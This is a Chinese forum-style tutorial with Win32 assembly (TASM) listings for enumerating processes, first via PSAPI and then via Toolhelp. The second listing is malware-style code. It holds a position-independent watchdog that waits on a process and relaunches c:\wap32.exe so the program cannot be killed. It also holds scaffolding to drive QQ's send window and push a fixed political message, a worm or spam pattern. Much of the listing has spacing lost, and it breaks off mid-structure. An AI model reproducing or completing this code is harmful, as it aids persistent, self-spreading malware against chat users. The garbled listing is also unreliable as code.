最近总是碰到些需要对进程进行操作的事情,自然首先需要把正在运行的程序找出来。经过n次地试验最终偶找到了2个较好的方法,于是想把最近一段时间的经验总结哈。由于偶写这种分析文章不多,许多不完善或者有错误的地方也请大家指一下,以后也好改进。还有偶希望这点经验对大家能有所帮助。
所谓进程就是正在运行的程序,某种系统起来后都会在后台运行些程序,这就不多说了。偶觉得第一个比较好地枚举进程的方法是psapi,但是该方法很大缺点就是系统局限性,也就是说只有win2k及以后的版本中有效。以下就利用win32汇编代码(使用tasm编译器)为大家介绍哈。
1.psapi
psapi是个动态连接库(psapi.dll),我们可以用以下地方法将它的函数引入
import32.lib中。
d:\tasm\lib\implib.exe psapi.dll psapi.lib
从动态连接库中导成lib文件
d:\tasm\lib\tlib.exe import32.lib+psapi.lib
将lib文件加入import32.lib中。
这样我们就能直接extrn psapi的函数了。
主要使用以下三个函数
enumprocesses
enumprocessmodules
getmodulebasenamea
code:
==================================
找到指定的程序的进程号
==================================
.386p
.model flat,stdcall
include win32.inc
mb_ok=0
max_path=100h
process_query_information=0400h
process_vm_read=0010h
extrn enumprocesses:proc
extrn enumprocessmodules:proc
extrn getmodulebasenamea:proc
extrn messageboxa:proc
extrn openprocess:proc
extrn closehandle:proc
extrn lstrcmp:proc
extrn lstrcpy:proc
.data
errmsgdb'wrong',0
errsucdb'successful',0
errtmpdb'没找到文件',0
captiondb'3thread',0
normalnamedb'unknownprocess',0
qqdb'winlogon.exe',0
ethreaddd10dup(?)
rphandledd10dup(?)
pnamedb100dup(?)
remotethrdb100dup(?)
remotepardb100dup(?)
remotepiddd10dup(?)
ccbdd10dup(?)
signaldd10dup(?)
hkernel32dd10dup(?)
lpidprocessesdd1024dup(?)
cbneededdd10dup(?)
cprocessesdd10dup(?)
hprocessdd10dup(?)
hmoduledd10dup(?)
processnameadb100dup(?)
.code
main:
call lstrcpy,offset pname[0],offset qq
or eax,eax
jz error
loopr:
call processstopid,offset pname[0]
l1:
ret
processstopid proc processname:dword
call enumprocesses,offset lpidprocesses,4096,offset cbneeded ;列举所
有进程,并放在lpidprocesses偏移段里。
or eax,eax
jz error
call lstrcpy,offset processnamea,offset processname
mov eax,[cbneeded]
mov bl,4
div bl
mov [cprocesses],eax
mov ecx,0
loop:
push ecx
mov eax,[lpidprocesses[ecx]]
mov [remotepid],eax
call
openprocess,process_query_information+process_vm_read,0,lpidprocesses
[ecx] ;以查询信息和读取方式打开进程
pop ecx
push ecx
mov [hprocess],eax
or eax,eax
jz goon1
call enumprocessmodules,[hprocess],offset hmodule,size hmodule,offset
cbneeded ;获得进程模块的句柄
or eax,eax
jz goon1
call getmodulebasenamea,[hprocess],[hmodule],offset normalname,520
;获得特定模块的名字以备比较
call lstrcmp,offset normalname,offset processnamea
cmp eax,0
jnz goon1
call closehandle,[hprocess]
ret
goon1:
pop ecx
add ecx,4
cmp ecx,[cprocesses]
jnz loop
call messageboxa,0,offset errsuc,offset caption,mb_ok
call closehandle,[hprocess]
ret 0
processstopid endp
error:
call messageboxa,0,offset errmsg,offset caption,mb_ok
ret
end main
2.toolhelp
这也是一个枚举进程的方法,它解决了在win9x下枚举进程的问题,但是仍有不足的地方——在winnt4下无效,:)不过猫大哥曾经对偶说nt可以不于考虑。toolhelp的函数基本import32.lib中引用这些函数,后来发现这主要是由于import32.lib中kernel32.lib版本太老。所以tlib.exe除去了以前的kernel32,然后加入了新的kernel32.lib
主要用到的函数
createtoolhelp32snapshot
process32first
process32next
code
==================================================
nt/2k/xp下进程不死
==================================================
include win32.inc
.386
.model flat,stdcall
.data
;process_all_access=02h
th32cs_snapprocess=02h
mb_ok=0
max_path=100h
wm_gettext=0dh
wm_settext=0ch
wm_keydown=100h
vk_return=0dh
wm_keyup=101h
wm_lbuttondown=201h
wm_lbuttonup=202h
protect2kproc proc procid: dword
callgetknlopenprocess
knlopenprocess dd ?
getknlopenprocess:
popeax
call[eax],process_all_access,false,procid
oreax,eax
jzshort exitprotectproc
movebx,eax
callgetknlwaitforsingleobject
knlwaitforsingleobject dd ?
getknlwaitforsingleobject:
popeax
call[eax],ebx,-1h
callgetfilenameaddress
getfilenameaddress:
popecx
addecx,offset filename-offset getfilenameaddress
callgetknlwinexec
knlwinexec dd ?
getknlwinexec:
popeax
call[eax],ecx,01
exitprotectproc:
ret
protect2kproc endp
filename db 'c:\wap32.exe',0
knlopenprocessstrdb 'openprocess',0
knlwaitforobjectstrdb 'waitforsingleobject',0
knlwinexecstrdb 'winexec',0
kerdb 'kernel32.dll',0
kerldd?
lpidprocessesdd?
processcountdd?
qqdb'qq.exe',0
sendwnddd10dup(?)
richwnddd10dup(?)
btnwnddd10dup(?)
msgwnddb'发送消息',0
rchclsdb'richedit',0
btnclsdb'送讯息(&s)',0
bufferdb255dup(?)
szturldb100dup(?)
szmsgdb'一切侵略者都是纸老虎,保卫iraq,打倒usa',0
tagprocessentry32 dd$ ;操作的结构体
dwsizedd ?
cntusagedd?
th32processiddd ?;this process